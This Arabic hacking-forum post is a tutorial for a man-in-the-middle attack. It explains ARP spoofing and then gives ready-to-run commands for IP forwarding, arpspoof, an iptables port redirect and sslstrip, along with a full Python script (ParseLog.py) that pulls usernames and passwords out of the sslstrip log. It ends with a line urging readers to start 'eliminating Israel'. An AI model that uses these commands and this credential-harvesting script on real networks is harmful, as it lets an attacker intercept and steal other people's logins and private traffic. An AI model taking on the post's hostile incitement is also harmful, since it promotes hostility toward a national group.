AfTeR RoOt*MaN In ThE mIdLLe AtTaCk*
--------------------------------------------------------------------------------
االيوم ان شاء الله سنتكلم عن
Man in the middle attack
و لا تستخدموا الطريقة فيما يغضب الله
العمل راح يكون على توزيعة الباك تراك
What is a Man-In-The-Middle attack?
هو شكل من أشكال التنصت حيث ان المهاجم يقوم باءتصالات مستقلة مع الضحايا المتصلين با الشبكة
و تبادل الرسائل معهم و جعلهم يضنون انهم يقومون باالاتصال ببعضهم باتصال خاص
و لكن في الحقيقة جميع الاتصالات تسري تحت يد المهاجم.
وللمزيد تجده هنا
[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]
وهناك طرق عديدة لعمل هدا الهجوم و من اهمها عن طريق
ARP Spoofing
وهدا الهجوم مبني على ثغرة في
Address Resolution Protocol
و هدا البروتوكل يساعد على توصيل الايبهات مع الماك ادرس على النحو التالي
عندما يقوم جهازك بالتصال بالشبكة فانه يقوم با البحث عن
default gateway's MAC address
عن طريق اربي
ARP
ويقول انا جديد هنا فمن يملك هدا المكان
الان المودم يرى هدا الطلب فيرسل اماك ادرس تبعه و يقول انا المودم
و اي شيء تريد فتعال الى اولا
ويتم الاتصال با الشبكة
لكن المشكلة ان العملية السابقة لا تتم مرة واحدة فقط وانما تحدث باءستمرار لتاكد من ان الجهاز مازال
موجود او لا
وهنا تتم عملية الهجوم كا التالي:
تسال الضحية عن الماك ادرس تبع المودم قائلا اين هو المودم الم يره احد فيجيبه المهاجم و يقول له
هاي انت انا هو المالك الجديد و يمكنك التحدث الي و في نفس الوقت لما يسال المودم الحقيقي عن
الاجهزة فيتضاهر المهاجم على انه هو جهاز الضحية و عندها المودم يقبل العملية و يسكت هههههه
في هده النقطة فان المهاجم خدع المودم و اقنعه انه هو جهاز الضحية و خدع جهاز الضحية و اخبره انه
هو المودم الحقيقي
ادا لما يتم ااتصال بين جهاز الضحية و المودم فان التصال يمر بين يديك
So how do I become the man-in-the-middle?
الخطوة الاولى تفعل البورت فورواردين
كود PHP:
echo '1' > /proc/sys/net/ipv4/ip_forward
الان نعمل ارب سبووف
كود PHP:
arpspoof -i wlan0 192.168.1.1
وايضا اي انترفيس انت تستعمل و يمكنك تغيير الايبي حسب صفحة المودم
Wlan0 or else
لما تطبق الاومر ادن انت الان المان ان دو ميدل
But how do I take advantage of this position?
يمكننا الان استعمال برنامج واير شارك و تحليل البيانات المارة مثل البسوردات
لكن معضم الباسودات تكون مشفرة عن طريق
و سنعطكم الحل ان شاء الله
Ssl
What is SSL Strip?
هي اداة كتبت بواسطة موكسي مارلانسبيك و اطلقت في مؤتمر البلاك هات فهي تحول طلبات
https الى http
و بالتالي سحب المعلومات بدون تشفير ثم يعاد الاتصال الى
https
وهدا كله يحدث خفية دون ان يعلم به الضحايا و هناك طرق لكشف الخدعة عن طريق النظر الى الرابط
في الاعلى مثلا الهوتميل يجب ان ترى قبل الرابط هتتبيس و ادا رايتها هتتبي فقط ما اقولك الا الله
يستر
So how do we execute this attack?
الامر الاول
كود PHP:
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
الامر الثاني
كود PHP:
echo '1' > /proc/sys/net/ipv4/ip_forward
arpspoof -i wlan0 192.168.1.1
الامر الثالث في ترمنال جديد
كود PHP:
sslstrip -k -l 8080
والان قم بهدا الامر و تمتع
كود PHP:
tail -f sslstrip.log
طبعا النتائج ستكون معقدة شوي لكن ان شاء الله يوجد الحل
هناك اداة رائعة تضهرلك الا الي تريد
كود PHP:
#!/usr/bin/env python
#####################
# ParseLog.py
#
# By
[ندعوك للتسجيل في المنتدى أو التعريف بنفسك لمعاينة هذا الرابط] #####################
""" This file parses the sslstrip.log created by
sslstrip for user****s and passwords (and other
interesting information) defined in the file
resources/definitions.sslstrip. It will also
give you a complete list of all unknown information,
with the exception of anything listed in the file
resources/blacklist.sslstrip.
"""
from urllib import unquote
getIP = lambda origin: origin[origin.find('(')+1:origin.find(')')]
blacklist = []
accounts = []
definitions = {}
def getDefs(defs):
d = {}
for definition in defs:
tmp = definition.split('|')
a = tmp.pop(0)
b = tmp.pop()
if('\n' in b):
b = b[:-1]
tmp.append(b)
d[a] = tmp[:]
return d
def getAllVars(line):
while('&&' in line):
line = line.replace('&&','&')
vars = {}
tmp = line.split('&')
for var in tmp:
try:
(a,b) = var.split('=')
if('$' in unquote(a)):
a = unquote(a).split('$').pop()
if('\n' in unquote(b)):
b = unquote(b)[:-1]
vars[unquote(a)] = unquote(b)
except:
pass
return vars
def process(origin,line):
origin = getIP(origin)
if(origin not in blacklist):
vars = getAllVars(line)
if(origin in definitions):
definition = definitions[origin][:]
**** = definition.pop(0)
account = "(%s) " % ****
for variable in definition:
try:
v = vars[variable]
except:
v = 'UNDEFINED'
account += "%s = %s :: " % (variable,v)
if('UNDEFINED' not in account):
if(account not in accounts):
accounts.append(account)
account += "**NEW**"
print(account)
else:
print("Unknown:\t%s" % origin)
for var in vars:
if(vars[var] != ""):
print("\t%s:\t%s" % (var,vars[var]))
try:
lines = open('sslstrip.log','r').readlines()
except:
lines = []
try:
blacklist = open('resources/blacklist.sslstrip','r').read().split('\n')
except:
print("--blacklist not defined--")
try:
accounts = open('accounts.txt','r').read().split('\n')
except:
pass
try:
definitions = getDefs(open('resources/definitions.sslstrip','r').readlines())
except:
pass
try:
line = lines.pop(0)
while(1):
while('POST' not in line):
try:
line = lines.pop(0)
except:
break
process(line,lines.pop(0))
try:
line = lines.pop(0)
except:
break
except:
print("Empty logfile.")
output = open('accounts.txt','w')
accounts.sort()
for account in accounts:
if(account != ''):
output.write(account + '\n')
لكن ضعها في نفس مسار اللوق فايل
وطبق الامر
كود PHP:
parselog.py | less
و الان ابدا با القضاء على اسرائيل
هناك ايضا موضوعين او ثلاثة غاية في الروعة
[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]
[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]
[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]
[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]
[فقط الاعضاء المسجلين هم من يمكنهم رؤية الروابط. اضغط هنا للتسجيل]
الاهداء
الى حبايب قلبي اهل فلسطين
xmayaroos
sinaritx
و باقي الاعضاء